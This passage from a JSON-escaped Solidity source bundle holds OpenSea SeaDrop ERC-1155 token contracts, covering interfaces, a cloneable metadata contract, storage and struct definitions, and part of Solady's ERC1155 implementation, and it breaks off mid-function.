\"../lib/SeaDropStructs.sol\";\n\n/**\n * @dev A helper base interface for IERC721SeaDrop and IERC1155SeaDrop.\n * The token does not expose these methods as part of its external\n * interface to optimize contract size, but does implement them.\n */\ninterface ISeaDropToken is ISeaDropTokenContractMetadata {\n /**\n * @notice Update the SeaDrop allowed Seaport contracts privileged to mint.\n * Only the owner can use this function.\n *\n * @param allowedSeaport The allowed Seaport addresses.\n */\n function updateAllowedSeaport(address[] calldata allowedSeaport) external;\n\n /**\n * @notice Update the SeaDrop allowed fee recipient.\n * Only the owner can use this function.\n *\n * @param feeRecipient The new fee recipient.\n * @param allowed Whether the fee recipient is allowed.\n */\n function updateAllowedFeeRecipient(\n address feeRecipient,\n bool allowed\n ) external;\n\n /**\n * @notice Update the SeaDrop creator payout addresses.\n * The total basis points must add up to exactly 10_000.\n * Only the owner can use this function.\n *\n * @param creatorPayouts The new creator payouts.\n */\n function updateCreatorPayouts(\n CreatorPayout[] calldata creatorPayouts\n ) external;\n\n /**\n * @notice Update the SeaDrop drop URI.\n * Only the owner can use this function.\n *\n * @param dropURI The new drop URI.\n */\n function updateDropURI(string calldata dropURI) external;\n\n /**\n * @notice Update the SeaDrop allow list data.\n * Only the owner can use this function.\n *\n * @param allowListData The new allow list data.\n */\n function updateAllowList(AllowListData calldata allowListData) external;\n\n /**\n * @notice Update the SeaDrop allowed payers.\n * Only the owner can use this function.\n *\n * @param payer The payer to update.\n * @param allowed Whether the payer is allowed.\n */\n function updatePayer(address payer, bool allowed) external;\n\n /**\n * @notice Update the SeaDrop allowed signer.\n * Only the owner can use this function.\n * An allowed signer can also disallow themselves.\n *\n * @param signer The signer to update.\n * @param allowed Whether the signer is allowed.\n */\n function updateSigner(address signer, bool allowed) external;\n\n /**\n * @notice Get the SeaDrop allowed Seaport contracts privileged to mint.\n */\n function getAllowedSeaport() external view returns (address[] memory);\n\n /**\n * @notice Returns the SeaDrop creator payouts.\n */\n function getCreatorPayouts() external view returns (CreatorPayout[] memory);\n\n /**\n * @notice Returns the SeaDrop allow list merkle root.\n */\n function getAllowListMerkleRoot() external view returns (bytes32);\n\n /**\n * @notice Returns the SeaDrop allowed fee recipients.\n */\n function getAllowedFeeRecipients() external view returns (address[] memory);\n\n /**\n * @notice Returns the SeaDrop allowed signers.\n */\n function getSigners() external view returns (address[] memory);\n\n /**\n * @notice Returns if the signed digest has been used.\n *\n * @param digest The digest hash.\n */\n function getDigestIsUsed(bytes32 digest) external view returns (bool);\n\n /**\n * @notice Returns the SeaDrop allowed payers.\n */\n function getPayers() external view returns (address[] memory);\n\n /**\n * @notice Returns the configurer contract.\n */\n function configurer() external view returns (address);\n}\n" }, "src/clones/ERC1155ContractMetadataCloneable.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport {\n IERC1155ContractMetadata\n} from \"../interfaces/IERC1155ContractMetadata.sol\";\n\nimport {\n ERC1155ConduitPreapproved\n} from \"../lib/ERC1155ConduitPreapproved.sol\";\n\nimport { ERC1155 } from \"solady/src/tokens/ERC1155.sol\";\n\nimport { ERC2981 } from \"solady/src/tokens/ERC2981.sol\";\n\nimport { Ownable } from \"solady/src/auth/Ownable.sol\";\n\nimport {\n Initializable\n} from \"@openzeppelin-upgradeable/contracts/proxy/utils/Initializable.sol\";\n\n/**\n * @title ERC1155ContractMetadataCloneable\n * @author James Wenzel (emo.eth)\n * @author Ryan Ghods (ralxz.eth)\n * @author Stephan Min (stephanm.eth)\n * @author Michael Cohen (notmichael.eth)\n * @notice A cloneable token contract that extends ERC-1155\n * with additional metadata and ownership capabilities.\n */\ncontract ERC1155ContractMetadataCloneable is\n ERC1155ConduitPreapproved,\n ERC2981,\n Ownable,\n IERC1155ContractMetadata,\n Initializable\n{\n /// @notice A struct containing the token supply info per token id.\n mapping(uint256 => TokenSupply) _tokenSupply;\n\n /// @notice The total number of tokens minted by address.\n mapping(address => uint256) _totalMintedByUser;\n\n /// @notice The total number of tokens minted per token id by address.\n mapping(address => mapping(uint256 => uint256)) _totalMintedByUserPerToken;\n\n /// @notice The name of the token.\n string internal _name;\n\n /// @notice The symbol of the token.\n string internal _symbol;\n\n /// @notice The base URI for token metadata.\n string internal _baseURI;\n\n /// @notice The contract URI for contract metadata.\n string internal _contractURI;\n\n /// @notice The provenance hash for guaranteeing metadata order\n /// for random reveals.\n bytes32 internal _provenanceHash;\n\n /// @notice The allowed contract that can configure SeaDrop parameters.\n address internal _CONFIGURER;\n\n /**\n * @dev Reverts if the sender is not the owner or the allowed\n * configurer contract.\n *\n * This is used as a function instead of a modifier\n * to save contract space when used multiple times.\n */\n function _onlyOwnerOrConfigurer() internal view {\n if (msg.sender != _CONFIGURER && msg.sender != owner()) {\n revert Unauthorized();\n }\n }\n\n /**\n * @notice Deploy the token contract.\n *\n * @param allowedConfigurer The address of the contract allowed to\n * configure parameters. Also contains SeaDrop\n * implementation code.\n * @param name_ The name of the token.\n * @param symbol_ The symbol of the token.\n */\n function __ERC1155ContractMetadataCloneable_init(\n address allowedConfigurer,\n string memory name_,\n string memory symbol_\n ) internal onlyInitializing {\n // Set the name of the token.\n _name = name_;\n\n // Set the symbol of the token.\n _symbol = symbol_;\n\n // Set the allowed configurer contract to interact with this contract.\n _CONFIGURER = allowedConfigurer;\n }\n\n /**\n * @notice Sets the base URI for the token metadata and emits an event.\n *\n * @param newBaseURI The new base URI to set.\n */\n function setBaseURI(string calldata newBaseURI) external override {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Set the new base URI.\n _baseURI = newBaseURI;\n\n // Emit an event with the update.\n emit BatchMetadataUpdate(0, type(uint256).max);\n }\n\n /**\n * @notice Sets the contract URI for contract metadata.\n *\n * @param newContractURI The new contract URI.\n */\n function setContractURI(string calldata newContractURI) external override {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Set the new contract URI.\n _contractURI = newContractURI;\n\n // Emit an event with the update.\n emit ContractURIUpdated(newContractURI);\n }\n\n /**\n * @notice Emit an event notifying metadata updates for\n * a range of token ids, according to EIP-4906.\n *\n * @param fromTokenId The start token id.\n * @param toTokenId The end token id.\n */\n function emitBatchMetadataUpdate(\n uint256 fromTokenId,\n uint256 toTokenId\n ) external {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Emit an event with the update.\n if (fromTokenId == toTokenId) {\n // If only one token is being updated, use the event\n // in the 1155 spec.\n emit URI(uri(fromTokenId), fromTokenId);\n } else {\n emit BatchMetadataUpdate(fromTokenId, toTokenId);\n }\n }\n\n /**\n * @notice Sets the max token supply and emits an event.\n *\n * @param tokenId The token id to set the max supply for.\n * @param newMaxSupply The new max supply to set.\n */\n function setMaxSupply(uint256 tokenId, uint256 newMaxSupply) external {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Ensure the max supply does not exceed the maximum value of uint64,\n // a limit due to the storage of bit-packed variables in TokenSupply,\n if (newMaxSupply > 2 ** 64 - 1) {\n revert CannotExceedMaxSupplyOfUint64(newMaxSupply);\n }\n\n // Set the new max supply.\n _tokenSupply[tokenId].maxSupply = uint64(newMaxSupply);\n\n // Emit an event with the update.\n emit MaxSupplyUpdated(tokenId, newMaxSupply);\n }\n\n /**\n * @notice Sets the provenance hash and emits an event.\n *\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it has not been\n * modified after mint started.\n *\n * This function will revert if the provenance hash has already\n * been set, so be sure to carefully set it only once.\n *\n * @param newProvenanceHash The new provenance hash to set.\n */\n function setProvenanceHash(bytes32 newProvenanceHash) external {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Keep track of the old provenance hash for emitting with the event.\n bytes32 oldProvenanceHash = _provenanceHash;\n\n // Revert if the provenance hash has already been set.\n if (oldProvenanceHash != bytes32(0)) {\n revert ProvenanceHashCannotBeSetAfterAlreadyBeingSet();\n }\n\n // Set the new provenance hash.\n _provenanceHash = newProvenanceHash;\n\n // Emit an event with the update.\n emit ProvenanceHashUpdated(oldProvenanceHash, newProvenanceHash);\n }\n\n /**\n * @notice Sets the default royalty information.\n *\n * Requirements:\n *\n * - `receiver` cannot be the zero address.\n * - `feeNumerator` cannot be greater than the fee denominator of 10_000 basis points.\n */\n function setDefaultRoyalty(address receiver, uint96 feeNumerator) external {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Set the default royalty.\n // ERC2981 implementation ensures feeNumerator <= feeDenominator\n // and receiver != address(0).\n _setDefaultRoyalty(receiver, feeNumerator);\n\n // Emit an event with the updated params.\n emit RoyaltyInfoUpdated(receiver, feeNumerator);\n }\n\n /**\n * @notice Returns the name of the token.\n */\n function name() external view returns (string memory) {\n return _name;\n }\n\n /**\n * @notice Returns the symbol of the token.\n */\n function symbol() external view returns (string memory) {\n return _symbol;\n }\n\n /**\n * @notice Returns the base URI for token metadata.\n */\n function baseURI() external view override returns (string memory) {\n return _baseURI;\n }\n\n /**\n * @notice Returns the contract URI for contract metadata.\n */\n function contractURI() external view override returns (string memory) {\n return _contractURI;\n }\n\n /**\n * @notice Returns the max token supply for a token id.\n */\n function maxSupply(uint256 tokenId) external view returns (uint256) {\n return _tokenSupply[tokenId].maxSupply;\n }\n\n /**\n * @notice Returns the total supply for a token id.\n */\n function totalSupply(uint256 tokenId) external view returns (uint256) {\n return _tokenSupply[tokenId].totalSupply;\n }\n\n /**\n * @notice Returns the total minted for a token id.\n */\n function totalMinted(uint256 tokenId) external view returns (uint256) {\n return _tokenSupply[tokenId].totalMinted;\n }\n\n /**\n * @notice Returns the provenance hash.\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it is unmodified\n * after mint has started.\n */\n function provenanceHash() external view override returns (bytes32) {\n return _provenanceHash;\n }\n\n /**\n * @notice Returns the URI for token metadata.\n *\n * This implementation returns the same URI for *all* token types.\n * It relies on the token type ID substitution mechanism defined\n * in the EIP to replace {id} with the token id.\n *\n * @custom:param tokenId The token id to get the URI for.\n */\n function uri(\n uint256 /* tokenId */\n ) public view virtual override returns (string memory) {\n // Return the base URI.\n return _baseURI;\n }\n\n /**\n * @notice Returns whether the interface is supported.\n *\n * @param interfaceId The interface id to check against.\n */\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(ERC1155, ERC2981) returns (bool) {\n return\n interfaceId == type(IERC1155ContractMetadata).interfaceId ||\n interfaceId == 0x49064906 || // ERC-4906 (MetadataUpdate)\n ERC2981.supportsInterface(interfaceId) ||\n // ERC1155 returns supportsInterface true for\n // ERC165, ERC1155, ERC1155MetadataURI\n ERC1155.supportsInterface(interfaceId);\n }\n\n /**\n * @dev Adds to the internal counters for a mint.\n *\n * @param to The address to mint to.\n * @param id The token id to mint.\n * @param amount The quantity to mint.\n * @param data The data to pass if receiver is a contract.\n */\n function _mint(\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) internal virtual override {\n // Increment mint counts.\n _incrementMintCounts(to, id, amount);\n\n ERC1155._mint(to, id, amount, data);\n }\n\n /**\n * @dev Adds to the internal counters for a batch mint.\n *\n * @param to The address to mint to.\n * @param ids The token ids to mint.\n * @param amounts The quantities to mint.\n * @param data The data to pass if receiver is a contract.\n */\n function _batchMint(\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual override {\n // Put ids length on the stack to save MLOADs.\n uint256 idsLength = ids.length;\n\n for (uint256 i = 0; i < idsLength; ) {\n // Increment mint counts.\n _incrementMintCounts(to, ids[i], amounts[i]);\n\n unchecked {\n ++i;\n }\n }\n\n ERC1155._batchMint(to, ids, amounts, data);\n }\n\n /**\n * @dev Subtracts from the internal counters for a burn.\n *\n * @param by The address calling the burn.\n * @param from The address to burn from.\n * @param id The token id to burn.\n * @param amount The amount to burn.\n */\n function _burn(\n address by,\n address from,\n uint256 id,\n uint256 amount\n ) internal virtual override {\n // Reduce the supply.\n _reduceSupplyOnBurn(id, amount);\n\n ERC1155._burn(by, from, id, amount);\n }\n\n /**\n * @dev Subtracts from the internal counters for a batch burn.\n *\n * @param by The address calling the burn.\n * @param from The address to burn from.\n * @param ids The token ids to burn.\n * @param amounts The amounts to burn.\n */\n function _batchBurn(\n address by,\n address from,\n uint256[] memory ids,\n uint256[] memory amounts\n ) internal virtual override {\n // Put ids length on the stack to save MLOADs.\n uint256 idsLength = ids.length;\n\n for (uint256 i = 0; i < idsLength; ) {\n // Reduce the supply.\n _reduceSupplyOnBurn(ids[i], amounts[i]);\n\n unchecked {\n ++i;\n }\n }\n\n ERC1155._batchBurn(by, from, ids, amounts);\n }\n\n function _reduceSupplyOnBurn(uint256 id, uint256 amount) internal {\n // Get the current token supply.\n TokenSupply storage tokenSupply = _tokenSupply[id];\n\n // Reduce the totalSupply.\n unchecked {\n tokenSupply.totalSupply -= uint64(amount);\n }\n }\n\n /**\n * @dev Internal function to increment mint counts.\n *\n * Note that this function does not check if the mint exceeds\n * maxSupply, which should be validated before this function is called.\n *\n * @param to The address to mint to.\n * @param id The token id to mint.\n * @param amount The quantity to mint.\n */\n function _incrementMintCounts(\n address to,\n uint256 id,\n uint256 amount\n ) internal {\n // Get the current token supply.\n TokenSupply storage tokenSupply = _tokenSupply[id];\n\n if (tokenSupply.totalMinted + amount > tokenSupply.maxSupply) {\n revert MintExceedsMaxSupply(\n tokenSupply.totalMinted + amount,\n tokenSupply.maxSupply\n );\n }\n\n // Increment supply and number minted.\n // Can be unchecked because maxSupply cannot be set to exceed uint64.\n unchecked {\n tokenSupply.totalSupply += uint64(amount);\n tokenSupply.totalMinted += uint64(amount);\n\n // Increment total minted by user.\n _totalMintedByUser[to] += amount;\n\n // Increment total minted by user per token.\n _totalMintedByUserPerToken[to][id] += amount;\n }\n }\n}\n" }, "src/lib/ERC1155SeaDropContractOffererStorage.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { PublicDrop } from \"./ERC1155SeaDropStructs.sol\";\n\nimport { CreatorPayout } from \"./SeaDropStructs.sol\";\n\nlibrary ERC1155SeaDropContractOffererStorage {\n struct Layout {\n /// @notice The allowed Seaport addresses that can mint.\n mapping(address => bool) _allowedSeaport;\n /// @notice The enumerated allowed Seaport addresses.\n address[] _enumeratedAllowedSeaport;\n /// @notice The public drop data.\n mapping(uint256 => PublicDrop) _publicDrops;\n /// @notice The enumerated public drop indexes.\n uint256[] _enumeratedPublicDropIndexes;\n /// @notice The creator payout addresses and basis points.\n CreatorPayout[] _creatorPayouts;\n /// @notice The allow list merkle root.\n bytes32 _allowListMerkleRoot;\n /// @notice The allowed fee recipients.\n mapping(address => bool) _allowedFeeRecipients;\n /// @notice The enumerated allowed fee recipients.\n address[] _enumeratedFeeRecipients;\n /// @notice The allowed server-side signers.\n mapping(address => bool) _allowedSigners;\n /// @notice The enumerated allowed signers.\n address[] _enumeratedSigners;\n /// @notice The used signature digests.\n mapping(bytes32 => bool) _usedDigests;\n /// @notice The allowed payers.\n mapping(address => bool) _allowedPayers;\n /// @notice The enumerated allowed payers.\n address[] _enumeratedPayers;\n }\n\n bytes32 internal constant STORAGE_SLOT =\n bytes32(\n uint256(\n keccak256(\"contracts.storage.ERC1155SeaDropContractOfferer\")\n ) - 1\n );\n\n function layout() internal pure returns (Layout storage l) {\n bytes32 slot = STORAGE_SLOT;\n assembly {\n l.slot := slot\n }\n }\n}\n" }, "src/lib/ERC1155SeaDropErrorsAndEvents.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { PublicDrop } from \"./ERC1155SeaDropStructs.sol\";\n\nimport { SeaDropErrorsAndEvents } from \"./SeaDropErrorsAndEvents.sol\";\n\ninterface ERC1155SeaDropErrorsAndEvents is SeaDropErrorsAndEvents {\n /**\n * @dev Revert with an error if an empty PublicDrop is provided\n * for an already-empty public drop.\n */\n error PublicDropStageNotPresent();\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the\n * max minted per wallet for a certain token id.\n */\n error MintQuantityExceedsMaxMintedPerWalletForTokenId(\n uint256 tokenId,\n uint256 total,\n uint256 allowed\n );\n\n /**\n * @dev Revert with an error if the target token id to mint is not within\n * the drop stage range.\n */\n error TokenIdNotWithinDropStageRange(\n uint256 tokenId,\n uint256 startTokenId,\n uint256 endTokenId\n );\n\n /**\n * @notice Revert with an error if the number of maxSupplyAmounts doesn't\n * match the number of maxSupplyTokenIds.\n */\n error MaxSupplyMismatch();\n\n /**\n * @notice Revert with an error if the number of mint tokenIds doesn't\n * match the number of mint amounts.\n */\n error MintAmountsMismatch();\n\n /**\n * @notice Revert with an error if the mint order offer contains\n * a duplicate tokenId.\n */\n error OfferContainsDuplicateTokenId(uint256 tokenId);\n\n /**\n * @dev Revert if the fromTokenId is greater than the toTokenId.\n */\n error InvalidFromAndToTokenId(uint256 fromTokenId, uint256 toTokenId);\n\n /**\n * @notice Revert with an error if the number of publicDropIndexes doesn't\n * match the number of publicDrops.\n */\n error PublicDropsMismatch();\n\n /**\n * @dev An event with updated public drop data.\n */\n event PublicDropUpdated(PublicDrop publicDrop, uint256 index);\n}\n" }, "src/lib/ERC1155SeaDropStructs.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { AllowListData, CreatorPayout } from \"./SeaDropStructs.sol\";\n\n/**\n * @notice A struct defining public drop data.\n * Designed to fit efficiently in two storage slots.\n *\n * @param startPrice The start price per token. (Up to 1.2m\n * of native token, e.g. ETH, MATIC)\n * @param endPrice The end price per token. If this differs\n * from startPrice, the current price will\n * be calculated based on the current time.\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n * @param paymentToken The payment token address. Null for\n * native token.\n * @param fromTokenId The start token id for the stage.\n * @param toTokenId The end token id for the stage.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed. (The limit for this field is\n * 2^16 - 1)\n * @param maxTotalMintableByWalletPerToken Maximum total number of mints a user\n * is allowed for the token id. (The limit for\n * this field is 2^16 - 1)\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n */\nstruct PublicDrop {\n // slot 1\n uint80 startPrice; // 80/512 bits\n uint80 endPrice; // 160/512 bits\n uint40 startTime; // 200/512 bits\n uint40 endTime; // 240/512 bits\n bool restrictFeeRecipients; // 248/512 bits\n // uint8 unused;\n\n // slot 2\n address paymentToken; // 408/512 bits\n uint24 fromTokenId; // 432/512 bits\n uint24 toTokenId; // 456/512 bits\n uint16 maxTotalMintableByWallet; // 472/512 bits\n uint16 maxTotalMintableByWalletPerToken; // 488/512 bits\n uint16 feeBps; // 504/512 bits\n}\n\n/**\n * @notice A struct defining mint params for an allow list.\n * An allow list leaf will be composed of `msg.sender` and\n * the following params.\n *\n * Note: Since feeBps is encoded in the leaf, backend should ensure\n * that feeBps is acceptable before generating a proof.\n *\n * @param startPrice The start price per token. (Up to 1.2m\n * of native token, e.g. ETH, MATIC)\n * @param endPrice The end price per token. If this differs\n * from startPrice, the current price will\n * be calculated based on the current time.\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param paymentToken The payment token for the mint. Null for\n * native token.\n * @param fromTokenId The start token id for the stage.\n * @param toTokenId The end token id for the stage.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed.\n * @param maxTotalMintableByWalletPerToken Maximum total number of mints a user\n * is allowed for the token id.\n * @param maxTokenSupplyForStage The limit of token supply this stage can\n * mint within.\n * @param dropStageIndex The drop stage index to emit with the event\n * for analytical purposes. This should be\n * non-zero since the public mint emits with\n * index zero.\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n */\nstruct MintParams {\n uint256 startPrice;\n uint256 endPrice;\n uint256 startTime;\n uint256 endTime;\n address paymentToken;\n uint256 fromTokenId;\n uint256 toTokenId;\n uint256 maxTotalMintableByWallet;\n uint256 maxTotalMintableByWalletPerToken;\n uint256 maxTokenSupplyForStage;\n uint256 dropStageIndex; // non-zero\n uint256 feeBps;\n bool restrictFeeRecipients;\n}\n\n/**\n * @dev Struct containing internal SeaDrop implementation logic\n * mint details to avoid stack too deep.\n *\n * @param feeRecipient The fee recipient.\n * @param payer The payer of the mint.\n * @param minter The mint recipient.\n * @param tokenIds The tokenIds to mint.\n * @param quantities The number of tokens to mint per tokenId.\n * @param withEffects Whether to apply state changes of the mint.\n */\nstruct MintDetails {\n address feeRecipient;\n address payer;\n address minter;\n uint256[] tokenIds;\n uint256[] quantities;\n bool withEffects;\n}\n\n/**\n * @notice A struct to configure multiple contract options in one transaction.\n */\nstruct MultiConfigureStruct {\n uint256[] maxSupplyTokenIds;\n uint256[] maxSupplyAmounts;\n string baseURI;\n string contractURI;\n PublicDrop[] publicDrops;\n uint256[] publicDropsIndexes;\n string dropURI;\n AllowListData allowListData;\n CreatorPayout[] creatorPayouts;\n bytes32 provenanceHash;\n address[] allowedFeeRecipients;\n address[] disallowedFeeRecipients;\n address[] allowedPayers;\n address[] disallowedPayers;\n // Server-signed\n address[] allowedSigners;\n address[] disallowedSigners;\n // ERC-2981\n address royaltyReceiver;\n uint96 royaltyBps;\n // Mint\n address mintRecipient;\n uint256[] mintTokenIds;\n uint256[] mintAmounts;\n}\n" }, "src/lib/SeaDropStructs.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\n/**\n * @notice A struct defining a creator payout address and basis points.\n *\n * @param payoutAddress The payout address.\n * @param basisPoints The basis points to pay out to the creator.\n * The total creator payouts must equal 10_000 bps.\n */\nstruct CreatorPayout {\n address payoutAddress;\n uint16 basisPoints;\n}\n\n/**\n * @notice A struct defining allow list data (for minting an allow list).\n *\n * @param merkleRoot The merkle root for the allow list.\n * @param publicKeyURIs If the allowListURI is encrypted, a list of URIs\n * pointing to the public keys. Empty if unencrypted.\n * @param allowListURI The URI for the allow list.\n */\nstruct AllowListData {\n bytes32 merkleRoot;\n string[] publicKeyURIs;\n string allowListURI;\n}\n" }, "src/lib/ERC1155ConduitPreapproved.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { ERC1155 } from \"solady/src/tokens/ERC1155.sol\";\n\n/**\n * @title ERC1155ConduitPreapproved\n * @notice Solady's ERC1155 with the OpenSea conduit preapproved.\n */\nabstract contract ERC1155ConduitPreapproved is ERC1155 {\n /// @dev The canonical OpenSea conduit.\n address internal constant _CONDUIT =\n 0x1E0049783F008A0085193E00003D00cd54003c71;\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) public virtual override {\n _safeTransfer(_by(), from, to, id, amount, data);\n }\n\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) public virtual override {\n _safeBatchTransfer(_by(), from, to, ids, amounts, data);\n }\n\n function isApprovedForAll(\n address owner,\n address operator\n ) public view virtual override returns (bool) {\n if (operator == _CONDUIT) return true;\n return ERC1155.isApprovedForAll(owner, operator);\n }\n\n function _by() internal view returns (address result) {\n assembly {\n // `msg.sender == _CONDUIT ? address(0) : msg.sender`.\n result := mul(iszero(eq(caller(), _CONDUIT)), caller())\n }\n }\n}\n" }, "lib/solady/src/tokens/ERC1155.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.4;\n\n/// @notice Simple ERC1155 implementation.\n/// @author Solady (https://github.com/vectorized/solady/blob/main/src/tokens/ERC1155.sol)\n/// @author Modified from Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC1155.sol)\n/// @author Modified from OpenZeppelin (https://github.com/OpenZeppelin/openzeppelin-contracts/tree/master/contracts/token/ERC1155/ERC1155.sol)\n///\n/// @dev Note:\n/// The ERC1155 standard allows for self-approvals.\n/// For performance, this implementation WILL NOT revert for such actions.\n/// Please add any checks with overrides if desired.\nabstract contract ERC1155 {\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* CUSTOM ERRORS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The lengths of the input arrays are not the same.\n error ArrayLengthsMismatch();\n\n /// @dev Cannot mint or transfer to the zero address.\n error TransferToZeroAddress();\n\n /// @dev The recipient's balance has overflowed.\n error AccountBalanceOverflow();\n\n /// @dev Insufficient balance.\n error InsufficientBalance();\n\n /// @dev Only the token owner or an approved account can manage the tokens.\n error NotOwnerNorApproved();\n\n /// @dev Cannot safely transfer to a contract that does not implement\n /// the ERC1155Receiver interface.\n error TransferToNonERC1155ReceiverImplementer();\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* EVENTS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Emitted when `amount` of token `id` is transferred\n /// from `from` to `to` by `operator`.\n event TransferSingle(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256 id,\n uint256 amount\n );\n\n /// @dev Emitted when `amounts` of token `ids` are transferred\n /// from `from` to `to` by `operator`.\n event TransferBatch(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256[] ids,\n uint256[] amounts\n );\n\n /// @dev Emitted when `owner` enables or disables `operator` to manage all of their tokens.\n event ApprovalForAll(address indexed owner, address indexed operator, bool isApproved);\n\n /// @dev Emitted when the Uniform Resource Identifier (URI) for token `id`\n /// is updated to `value`. This event is not used in the base contract.\n /// You may need to emit this event depending on your URI logic.\n ///\n /// See: https://eips.ethereum.org/EIPS/eip-1155#metadata\n event URI(string value, uint256 indexed id);\n\n /// @dev `keccak256(bytes(\"TransferSingle(address,address,address,uint256,uint256)\"))`.\n uint256 private constant _TRANSFER_SINGLE_EVENT_SIGNATURE =\n 0xc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62;\n\n /// @dev `keccak256(bytes(\"TransferBatch(address,address,address,uint256[],uint256[])\"))`.\n uint256 private constant _TRANSFER_BATCH_EVENT_SIGNATURE =\n 0x4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb;\n\n /// @dev `keccak256(bytes(\"ApprovalForAll(address,address,bool)\"))`.\n uint256 private constant _APPROVAL_FOR_ALL_EVENT_SIGNATURE =\n 0x17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31;\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* STORAGE */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The `ownerSlotSeed` of a given owner is given by.\n /// ```\n /// let ownerSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, owner))\n /// ```\n ///\n /// The balance slot of `owner` is given by.\n /// ```\n /// mstore(0x20, ownerSlotSeed)\n /// mstore(0x00, id)\n /// let balanceSlot := keccak256(0x00, 0x40)\n /// ```\n ///\n /// The operator approval slot of `owner` is given by.\n /// ```\n /// mstore(0x20, ownerSlotSeed)\n /// mstore(0x00, operator)\n /// let operatorApprovalSlot := keccak256(0x0c, 0x34)\n /// ```\n uint256 private constant _ERC1155_MASTER_SLOT_SEED = 0x9a31110384e0b0c9;\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* ERC1155 METADATA */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Returns the URI for token `id`.\n ///\n /// You can either return the same templated URI for all token IDs,\n /// (e.g. \"https://example.com/api/{id}.json\"),\n /// or return a unique URI for each `id`.\n ///\n /// See: https://eips.ethereum.org/EIPS/eip-1155#metadata\n function uri(uint256 id) public view virtual returns (string memory);\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* ERC1155 */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Returns the amount of `id` owned by `owner`.\n function balanceOf(address owner, uint256 id) public view virtual returns (uint256 result) {\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, owner)\n mstore(0x00, id)\n result := sload(keccak256(0x00, 0x40))\n }\n }\n\n /// @dev Returns whether `operator` is approved to manage the tokens of `owner`.\n function isApprovedForAll(address owner, address operator)\n public\n view\n virtual\n returns (bool result)\n {\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, owner)\n mstore(0x00, operator)\n result := sload(keccak256(0x0c, 0x34))\n }\n }\n\n /// @dev Sets whether `operator` is approved to manage the tokens of the caller.\n ///\n /// Emits a {ApprovalForAll} event.\n function setApprovalForAll(address operator, bool isApproved) public virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // Convert to 0 or 1.\n isApproved := iszero(iszero(isApproved))\n // Update the `isApproved` for (`msg.sender`, 